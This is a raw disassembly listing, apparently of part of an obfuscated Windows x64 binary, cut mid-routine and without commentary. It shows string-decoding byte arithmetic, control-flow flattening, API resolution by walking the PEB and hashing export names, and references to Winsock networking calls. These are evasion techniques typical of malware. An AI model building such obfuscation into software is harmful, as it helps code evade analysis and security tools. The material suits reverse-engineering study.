ja 0x140141e25
lea rax, [r10 + 0x61]
cmp rdi, rax
jae 0x1401413c3
movabs rdx, 0xadcac976d014c485
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x5d
jmp 0x1401415da
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140141c63
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140141c43
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140141c20
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140141c02
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401418f9
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401418d8
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x1401418b5
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014188f
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14014186e
lea rcx, [r10 + 5]
cmp rdi, rcx
je 0x14014184b
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x140141825
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140141804
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x1401417e1
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1401417bb
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x140141404
mov rdi, rcx
lea r10, [rcx + 0x20]
lea rax, [r10 + 0x200]
cmp rcx, rax
jb 0x140141e02
lea rax, [r10 + 4]
cmp rcx, rax
jb 0x140141ddf
lea rax, [r10 + 0x80]
cmp rcx, rax
jb 0x140141604
lea rax, [r10 + 3]
cmp rcx, rax
jb 0x1401415e1
lea rax, [r10 + 0x64]
cmp rcx, rax
jb 0x1401415be
lea rax, [r10 + 2]
cmp rcx, rax
jb 0x14014179a
lea rax, [r10 + 0x42]
cmp rcx, rax
jb 0x140141779
lea rax, [r10 + 1]
cmp rcx, rax
jb 0x140141758
lea rax, [r10 + 0x40]
cmp rcx, rax
jb 0x14014172d
lea rax, [r10 + 0x2a]
cmp rcx, rax
jb 0x140141404
lea rdi, [r10 + 6]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x140141719
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x1401416f8
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x1401416d7
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1401416c3
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1401416a0
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x14014167f
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14014166b
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140141648
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140141627
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140141404
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x7a]
jmp 0x140141404
movabs rdx, 0x7e56a336ffc66a1b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x43
add bl, dl
jmp 0x1401413f7
movabs rdx, 0x6dc96b74d393acb9
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xf
add bl, dl
jmp 0x140141390
movabs rdx, 0x5d3c33b2a760ef57
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x61
add bl, dl
jmp 0x140141335
movabs rdx, 0x6e564bb680a62428
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x140141c7f
movabs rcx, 0x5dc913f4547366c6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6a
jmp 0x140141ca5
movabs rdx, 0x4d3bdc322840a964
mov ecx, Ordinal_35
jmp 0x14014189e
movabs rdx, 0x3caea46ffc0dec02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xe
jmp 0x140141ccc
movabs rcx, 0x2c216cadcfdb2ea0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x140141cf6
movabs rdx, 0x1b9434eba3a8713e
mov ecx, Ordinal_41
jmp 0x140141834
movabs rdx, 0xb06fd297775b3dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
jmp 0x140141bfb
movabs rdx, 0xfa79c5674b42f67a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x1401417fd
movabs rdx, 0xe9ec8da51f103918
mov ecx, Ordinal_46
jmp 0x1401417ca
movabs rcx, 0xc08b823fb0915fa3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x75
mov byte [rbp + r9 + 0x640], bl
jmp 0x140141dd7
movabs rdx, 0xaffe4a7d845ea241
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x39
jmp 0x14014198d
movabs rdx, 0x9f7112bb582be4df
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x19
jmp 0x140141955
movabs rdx, 0x8ee3daf92bf9277d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6b
jmp 0x140141919
movabs rdx, 0x12c0b8c8e07c9b1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140141dc8
movabs rdx, 0x2338106b449ddbc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x24
add bl, dl
jmp 0x140141d76
movabs rdx, 0xf1a649448817205a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x76
jmp 0x140141bfb
movabs rdx, 0xe11911825be462f8
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140141d16
movabs rcx, 0xd08bd9c02fb1a596
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x1a
jmp 0x140141cf6
movabs rdx, 0xbffea1fe037ee834
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x140141ccc
movabs rdx, 0xaf716a3bd74c2ad2
mov ecx, reloc.WLDAP32.dll_Ordinal_33
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140141ca8
movabs rcx, 0x9ee43279ab196d70
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x140141ca5
movabs rdx, 0x8e56fab77ee6b00e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x62
jmp 0x140141c7f
lea rax, [r10 + 0x2a]
cmp rdi, rax
jae 0x1401419c0
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x29
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x42
je 0x140141bd7
lea rax, [r10 + 0x1000]
cmp rdi, rax
jbe 0x140141a76
movabs rdx, 0xf8d324a2440b902d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3b
add bl, dl
cmp rdi, 0x5a
jae 0x140141bae
lea rax, [r10 + 5]
cmp rdi, rax
jbe 0x140141b26
movabs rdx, 0xa69dee19142054b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0xa
jb 0x14014174b
movabs rdx, 0x4c221baece1bba86
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x54]
jmp 0x140141c81
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401419ec
movabs rcx, 0x5b9592eda029890a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x140141dc8
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140141a19
movabs rdx, 0x7cb00271f88f03ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140141bfb
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140141a46
movabs rdx, 0x9dca71f650f47e92
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r15d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140141cf6
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014191b
movabs rcx, 0xbee4e17aa959f956
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5a
jmp 0x140141ca8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140141aa0
movabs rdx, 0x9605c64703e4d8f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x17
jmp 0x140141c7f
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140141acc
movabs rcx, 0x19ed94269c710af1
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x69
jmp 0x140141ca5
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140141af6
movabs rdx, 0x3b0803aaf4d685b5
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0xd
jmp 0x140141ccc
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140141957
movabs rcx, 0x8dca1a75d1d4389f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x59
jmp 0x140141dc8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140141b43
movabs rdx, 0xb72b25db40531214
mov ecx, Ordinal_60
jmp 0x1401417ca
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140141b60
movabs rdx, 0xd845955f98b88cd8
mov ecx, recv
jmp 0x140141a04
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140141b7d
movabs rdx, 0xe8d2cd21c4eb4a3a
mov ecx, gethostname
jmp 0x140141834
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014198f
movabs rdx, 0x3b94e3eca1e8fd24
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140141c7f
movabs rdx, 0x5caf5370fa4e77e8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x640]
sub bl, al
sub bl, 0x58
add bl, r8b
jmp 0x140141ccc
movabs rdx, 0x6d3c8b332681354a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x640]
sub bl, 6
add bl, dl
jmp 0x140141d46
movabs rdx, 0x21a74fc60577f233
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x65
jmp 0x140141bfb
movabs rcx, 0x8ce041ad12776f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 9
jmp 0x140141cf6
movabs rcx, 0xdf7270bd54acfcab
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x53
jmp 0x140141ca8
movabs rdx, 0xbe580138fc4781e7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x51
add bl, dl
movabs rcx, 0x5468b78fe4351937
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x7f
add cl, r8b
mov byte [rbp + r9 + 0x640], cl
add r10, r15
sub r9, r15
jmp 0x140141dd7
movabs rdx, 0x6b95ea6e1f49cefd
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x15
add bl, dl
movabs rdx, 0x64f5ef521067d699
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x2f
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x640], cl
add rdi, r10
jmp 0x140141d16
movabs rcx, 0x4a7b7ae9c6e45439
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0x71
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140141dd7
mov r8, rdx
movabs rcx, 0x39ee43279ab196d7
add rcx, r9
and dl, cl
add dl, dl
mov bl, r8b
sub bl, dl
add bl, 0x1f
add bl, cl
movabs rcx, 0x758327143c9a93fb
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x23
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x640], al
add r10, r15
add rax, r10
sub r9, rax
movabs rdx, 0x7dc9c2f552b3f2ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x640], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140141dc8
movabs rcx, 0x18d3d3a3424c1c13
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0x7b
movzx eax, byte [rbp + r9 + 0x640]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140141322
movabs rcx, 0x4caefbf07b2e31f5
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x4d
jmp 0x14014131d
movabs rcx, 0x3c21c42e4efb7493
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 5
jmp 0x14014130d
lea rdx, [rbp + 0x14ba52c]
jmp 0x140141e3e
lea rdx, [rbp + 0x12503dd]
jmp 0x140141e3e
lea rdx, [rbp + 0x640]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rcx, [rbp + 0x1ca0]
call fcn.140089cb0
nop
mov r8, qword [0x1404fba78]
mov rdx, qword [0x1404fba70]
sub r8, rdx
lea rcx, [rbp + 0x1ca0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1ca0]
call fcn.1401aa82c
call fcn.140040d60
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x1404fba30], eax
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1404fba28], rax
mov r13d, 0x31a98fee
cmp rax, 0xffffffffffffffff
jne 0x1401447b1
mov r12, qword [0x1404fc128]
xor eax, eax
test r12, r12
jne 0x140142032
mov esi, eax
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140141f3a
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140141f2c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140141f1b
cmp r8d, esi
jne 0x14014200e
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14014200e
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14014200e
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140141f8e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140141f83
cmp edx, r14d
je 0x140141fa4
test r9d, r9d
jne 0x140141f6e
jmp 0x14014200e
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r12d, dword [r8 + rdx*4]
add r12, rbx
cmp r12, r11
jbe 0x140142025
lea rcx, [rax + r11]
cmp r12, rcx
jae 0x140142025
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r12]
cmp al, 0x2e
je 0x140142000
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r12, rdx
jmp 0x140141fdb
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r12, rdx
mov al, byte [r12]
test al, al
jne 0x140141ff3
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140142022
cmp qword [rdi + 0x30], rax
jne 0x140141eea
mov r12, rax
mov qword [0x1404fc128], r12
mov r15d, 1
mov byte [rbp + 0x420], Ordinal_143
mov byte [rbp + 0x421], Ordinal_200
mov byte [rbp + 0x422], 0x78
mov byte [rbp + 0x423], Ordinal_200
mov byte [rbp + 0x424], WSASetLastError
mov byte [rbp + 0x425], 0xc1
mov byte [rbp + 0x426], WSASetLastError
mov byte [rbp + 0x427], Ordinal_211
mov byte [rbp + 0x428], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x429], Ordinal_211
mov byte [rbp + 0x42a], 0x63
mov byte [rbp + 0x42b], 0xcb
mov byte [rbp + 0x42c], 0xca
mov byte [rbp + 0x42d], 0xc9
xor eax, eax
mov qword [rbp + 0x42e], rax
mov word [rbp + 0x436], ax
mov byte [rbp + 0x438], al
movabs rsi, 0x2b4df89b53ec8761
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x19
jae 0x140142c67
movzx r8d, byte [rbp + r9 + 0x420]
mov rdx, r8
cmp rdi, r9
ja 0x140142c5e
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014210e
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x59
jmp 0x14014212e
je 0x140142bdd
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140142bad
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140142b88
cmp r10, r9
ja 0x140142c55
lea rax, [r10 + 9]
cmp rdi, rax
jae 0x140142161
movabs rdx, 0x8d6564bde2671af5
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x4d
jmp 0x140142392
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140142b43
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140142b21
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140142aff
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140142a77
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140142a58
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401426bb
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x140142697
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140142675
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140142652
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014262c
lea rax, [r10 + 0x1000]
cmp rdi, rax
je 0x140142618
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1401425f6
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401425d0
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401425ac
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140142589
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401421af
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 0x80]
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x140142c32
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x140142c0f
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401423bc
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x140142399
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x140142376
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x140142568
lea rax, [r10 + 0x64]
cmp rdi, rax
jb 0x140142547
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x140142526
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401424fb
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401421af
lea rdi, [r10 + 8]
lea r10, [rdi + 1]
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401424d8
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x1401424b7
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x1401424a3
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x140142480
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14014245d
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14014243c
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x140142416
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401423f3
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x1401423df
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401421af
lea rdi, [r10 + 9]
lea r10, [rdi + 2]
jmp 0x1401421af
movabs rdx, 0x8355fc56916d81ab
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x53
add bl, dl
jmp 0x1401421a2
movabs rdx, 0x2cba0b1fe99472e9
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5f
add bl, dl
jmp 0x14014212e
movabs rdx, 0xd61e19e941bb6427
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x11
add bl, dl
jmp 0x1401420e0
movabs rdx, 0x6b2b25ef1338d7a8
mov ecx, 0x34
jmp 0x1401426a6
movabs rcx, 0x148f34b86b5fc8e6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
jmp 0x140142ba5
movabs rdx, 0xbdf34381c386ba24
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140142ba8
movabs rdx, 0x6757524b1badab62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140142a00
movabs rcx, 0x10bb611473d49ca0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x140142bcb
movabs rcx, 0xba1f6fddcbfb8dde
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x12
jmp 0x140142bce
movabs rdx, 0x63837ea724227f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401425df
movabs rdx, 0xce78d707c49705a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x76
jmp 0x1401428f7
movabs rcx, 0xb64b9c39d4706198
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x28
jmp 0x140142bf8
movabs rcx, 0xddc5c13130d1bcb3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x1b
mov byte [rbp + r9 + 0x420], bl
jmp 0x140142c07
movabs rdx, 0x8729cffa88f8adf1
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x69
jmp 0x140142749
movabs rdx, 0x308ddec3e11f9f2f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x49
jmp 0x140142714
movabs rdx, 0xd9f1ed8d3946906d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 5
jmp 0x1401426db
movabs rcx, 0x50605c734e6aa1be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x140142bf8
movabs rdx, 0xf9c46b3ca69192fc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401428f7
movabs rdx, 0xa3287a05feb8843a
mov ecx, gethostname
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140142a95
movabs rcx, 0x4c8c88cf56df7578
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x48
jmp 0x140142bce
movabs rdx, 0xf5f09798af0666b6
mov ecx, 3
jmp 0x1401427ea
movabs rdx, 0x9f54a662072d57f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140142a05
movabs rcx, 0x48b8b52b5f544932
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5e
jmp 0x140142ba8
movabs rcx, 0xf21cc3f4b77b3a70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x140142ba5
movabs rdx, 0x9b80d2be0fa22bae
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140142873
lea rax, [r10 + 0x64]
cmp rdi, rax
jae 0x14014277c
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x59
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 3
je 0x140142a32
lea rax, [r10 + 6]
cmp rdi, rax
jbe 0x14014284e
movabs rdx, 0x51943d02ff5c421d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x35
add bl, dl
cmp rdi, 0x40
jae 0x1401429dc
lea rax, [r10 + 8]
cmp rdi, rax
jbe 0x14014292e
movabs rdx, 0xdef9a1c0e1c35d12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7e
add bl, dl
cmp r10, 0x41
jb 0x140142519
movabs rdx, 0x41110de3703df0a6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x14]
jmp 0x140142b60
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401427a8
movabs rcx, 0x1acac97bc4ce35ea
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x66
jmp 0x140142bf8
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401427d2
movabs rdx, 0xc802abe91480536e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 2
jmp 0x140142a93
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140142801
movabs rdx, 0x753a8e56643270f2
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140142bcb
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014281e
movabs rdx, 0xcbd67f8d0c0b7fb4
mov ecx, 0xa
jmp 0x14014244b
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401426dd
movabs rcx, 0x227270c3b3e48e76
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x3a
jmp 0x140142ba8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014287a
movabs rdx, 0xa8302e39a73550df
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x19
add bl, dl
jmp 0x140142b60
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401428a6
movabs rcx, 0x556810a6f6e76e63
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x4b
jmp 0x140142ba8
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401428d2
